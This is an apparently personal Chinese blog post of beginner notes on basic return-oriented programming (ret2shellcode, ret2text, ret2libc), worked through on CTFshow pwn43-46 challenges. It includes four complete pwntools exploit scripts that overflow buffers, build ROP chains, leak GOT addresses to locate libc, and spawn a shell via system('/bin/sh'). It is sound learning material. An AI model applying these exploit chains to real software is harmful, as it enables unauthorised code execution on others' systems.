首页 > 其他分享 >基本ROP学习

基本ROP学习

时间:2024-03-02 17:33:24浏览次数:29  
标签:基本 addr libc system 学习 io ROP payload 函数

基本ROP学习

初学者水平有限,理解可能有误,以CTFshow pwn43-46为例题。

返回导向编程,核心是控制ret点

ret2shellcode

NX保护未开,bss段可执行。

bss段:存储未初始化的全局变量和静态变量的内存区域

ret2text

在源文件中寻找利用点

ret2libc

一般为system函数和/bin/sh都有,二者其一没有,二者都没有三种情况。

先看有system函数无/bin/sh的例题

pwn43、44
gets函数存在明显溢出,hint函数纯在system函数,无/bin/sh,考虑寻找有可写权限的数据段,将字符串存入该数据单元作为参数

32位

from pwn import *
context(os = 'linux', log_level = 'debug', arch = 'i386')
io = remote('pwn.challenge.ctf.show', 28298)
elf = ELF('./pwn')
system_addr = elf.sym['system']
gets_addr = elf.sym['gets']
buf = 0x804b060
offset = 0x6c + 4
payload = b'a' * offset
payload += p32(gets_addr)
payload += p32(system_addr)#gets函数返回地址,返回system函数
payload += p32(buf)#gets函数参数,system函数返回地址
payload += p32(buf)#system函数参数
io.recv()
io.sendline(payload)
io.sendline("/bin/sh")
io.interactive()

64位

与32位不同,需要堆栈平衡,传参与32位也不同。

具体64位传参方式如下:
当参数少于7个时, 参数从左到右放⼊寄存器: rdi, rsi, rdx, rcx, r8, r9。
当参数为7个以上时, 前 6 个与前⾯⼀样, 但后⾯的依次从 “右向左” 放⼊栈中,和32位汇编⼀样。

from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
io = remote("pwn.challenge.ctf.show", 28163)
elf = ELF('./pwn')
system_addr = elf.sym['system']
gets_addr = elf.sym['gets']
offset = 0xA + 8
buf2 = 0x602080
pop_rdi = 0x4007f3
payload = offset * b'a'
payload += p64(pop_rdi)
payload += p64(buf2)
payload += p64(gets_addr)
payload += p64(pop_rdi)
payload += p64(buf2)
payload += p64(system_addr)
io.sendline(payload)
io.sendline("bin/sh")
io.recv()
io.interactive()
#1.利用 pop_rdi 指令将 buf2 的地址加载到rdi寄存器中,因为在调用gets函数之前,你需要将输入的缓冲区的地址(即buf2的地址)传递给gets函数,以便gets函数知道将输入数据存储在哪个缓冲区中
#2.调用 gets 函数,以 buf2 的地址作为参数,从用户输入中读取数据,并将其存储在buf2中
#3.再次利用 pop_rdi 指令将 buf2 的地址加载到rdi 寄存器中
#4.调用 system 函数,以 buf2 的地址作为参数

函数的真实地址   =   基地址   +   偏移地址

偏移地址:libc是Linux新系统下的C函数库,其中就会有system()函数、"/bin/sh"字符串,而libc库中存放的就是这些函数的偏移地址。换句话说,只要确定了libc库的版本,就可以确定其中system()函数、"/bin/sh"字符串的偏移地址

基地址:每次运行程序加载函数时,函数的基地址都会发生改变。这是一种地址随机化的保护机制,导致函数的真实地址每次运行都是不一样的。然而,哪怕每次运行时函数的真实地址一直在变,最后三位确始终相同。可以根据这最后三位是什么确定这个函数的偏移地址,从而反向推断出libc的版本

两者都没有,但存在libc中的write函数,即可确定程序利用的libc,进而得到system函数的地址。

  • system函数属于libc,而libc.so动态链接库中的函数之间相对偏移是固定的。
  • 即使程序有ASLR保护,也只是针对地址中间位进行随机,最低的12位并不会发生改变。

方法:采用GOT表泄露地址,由于libc的延迟绑定,我们需要泄露已经执行过的函数地址。
流程:泄露write函数地址,获取libc版本,获取system函数地址和'bin/sh'地址,执行程序处罚栈溢出漏洞拿到shell。
write函数有3个参数, write(int fd,const void*buf,size_t count);

from pwn import *
from LibcSearcher import *
context(os = 'linux', arch = 'i386', log_level = 'debug')
io = remote("pwn.challenge.ctf.show", 28294)
elf = ELF('./pwn')
offset = 0x6B + 0x4
main_addr = elf.sym['main']
write_plt = elf.plt['write']
write_got = elf.got['write']
payload = offset * b'a' + p32(write_plt) + p32(main_addr) + p32(0) + p32(write_got) + p32(4)#栈溢出-调用write函数(泄露地址)-回到main函数重新执行write函数打印处地址,进而获得libc
io.sendline(payload)
write_addr = u32(io.recvuntil('\xf7')[-4:])
#\xf7 真实地址总是从7f开始,故从7f开始接收
libc = LibcSearcher("write", write_addr)
libc_case = write_addr - libc.dump("write")
system_addr = libc_case + libc.dump("system")
binsh_addr = libc_case + libc.dump("str_bin_sh")
payload = offset * b'a' + p32(system_addr) + b'aaaa' + p32(binsh_addr)#拿到shell
io.sendline(payload)
io.interactive()

64位,还是同样的思路,只不过变成了寄存器传参。
这次选择泄露puts函数。

from pwn import *
from LibcSearcher import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
io = remote("pwn.challenge.ctf.show", 28223)
elf = ELF('./pwn')
offset = 0x70 + 0x8
pop_rdi = 0x400803
ret = 0x4004fe
main_addr = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload = offset * b'a'
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)
io.sendline(payload)
#print("------")

puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
#print("-----------------")
libc = LibcSearcher('puts', puts_addr)
libc_case = puts_addr - libc.dump('puts')
system_addr = libc_case + libc.dump('system')
binsh_addr = libc_case + libc.dump('str_bin_sh')
payload = offset * b'a'
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(ret)
payload += p64(system_addr)
io.sendline(payload)
io.interactive()

标签:基本,addr,libc,system,学习,io,ROP,payload,函数
From: https://www.cnblogs.com/chang-room/p/18048951

相关文章

  • 李宏毅2022机器学习HW4 Speaker Identification下
    TaskSampleBaseline模型介绍classClassifier(nn.Module): def__init__(self,d_model=80,n_spks=600,dropout=0.1): super().__init__() #Projectthedimensionoffeaturesfromthatofinputintod_model. self.prenet=nn.Linear(40,d_model) #transfo......
  • MinHook 项目学习笔记
    ​​ MinHook是一个常用的InlineHook库,学习完整个项目后对Hook技术会有更深的认识。项目路径:TsudaKageyu/minhook:TheMinimalisticx86/x64APIHookingLibraryforWindows(github.com)1.基本原理1)获取原函数地址2)将原函数的前五个字节改为跳转指令跳转到FakeFunc......
  • 嵌入式学习
    总体认识:Ubuntu桌面上右键/ctrl+alt+T,打开终端一般文件路径看不出磁盘(没CDE分盘)需要运行disk查看上图就是表示只有一个磁盘,四个分区,橙色部分是第二个分区,挂载在/boot目录下,在/boot建文件1.txt,它就会被放在第二分区sd-磁盘a-第一个磁盘1-第一个分区......
  • 开课啦!走进大数据讲堂,一文从0到1学习数据湖Paimon(实践篇一)之集成hive实战演练?助力数据
     第3章集成Hive引擎前面与Flink集成时,通过使用paimonHiveCatalog,可以从Flink创建、删除、查询和插入到paimon表中。这些操作直接影响相应的Hive元存储。以这种方式创建的表也可以直接从Hive访问。更进一步的与Hive集成,可以使用HiveSQL创建、查询Paimon表。......
  • unlink学习笔记
    unlink学习笔记一、什么是unlink首先不妨假设有三个free掉的chunk分别称为first_chunk、second_chunk、third_chunkunlink其实是想把second_chunk摘掉,那怎么摘呢?second_fd=first_prev_addrsecond_bk=third_prev_addrfirst_bk=third_prev_addrthird_fd=first_prev_......
  • 解决Puppeteersharp 被检测到的方法, 顺带学习了js如何实现 模拟点击拖动事件
    varlaunchOptions=newLaunchOptions{Headless=false,DefaultViewport=null,IgnoreHTTPSErrors=true,ExecutablePath=path+"\\.local-chromium\\chrome-win\\chr......
  • 【习题】5.1 一阶线性微分方程的基本概念
    [T050101]设\(A\)为\(n\timesn\)常数矩阵,\(\Phi(t)\)是方程组\(X'=AX\)的标准基解矩阵\((\Phi(0)=E)\),证明\(\Phi(t)\Phi^{-1}(t_0)=\Phi(t-t_0)\),其中\(t_0\)是常数.    证由题设可知\(\Phi'(t)=A\Phi(t)\),将\(t\)换为\(t-t_0\),则\(\Phi......
  • Tomcat学习路线roadmap和个人入门知识摘录
    Tomcat学习路线roadmap和个人入门知识摘录roadmap参考《TOMCAT与JAVAWEB开发技术详解第3版》,内容非常非常详细,初期入门并不需要学习到那么详细,后面精进学习可按图索骥,或者有需要再看看就行第1章Web运作原理探析读者不妨带着以下问题去阅读本章开头的内容:●在整个......
  • Python学习笔记03
    函数语法:def函数名(传入参数):函数体return返回值#遍历字符串,并统计字符串的长度str1="helloword"str2="shen_mo_xie_xing"count=0foriinstr1:count+=1print(i,end='')print()print(f"字符串{str1}的长度是{count}")count=0fo......
  • Tomcat学习路线roadmap和个人入门知识摘录
    Tomcat学习路线roadmap和个人入门知识摘录roadmap参考《TOMCAT与JAVAWEB开发技术详解第3版》,内容非常非常详细,初期入门并不需要学习到那么详细,后面精进学习可按图索骥,或者有需要再看看就行第1章Web运作原理探析读者不妨带着以下问题去阅读本章开头的内容:●在整个......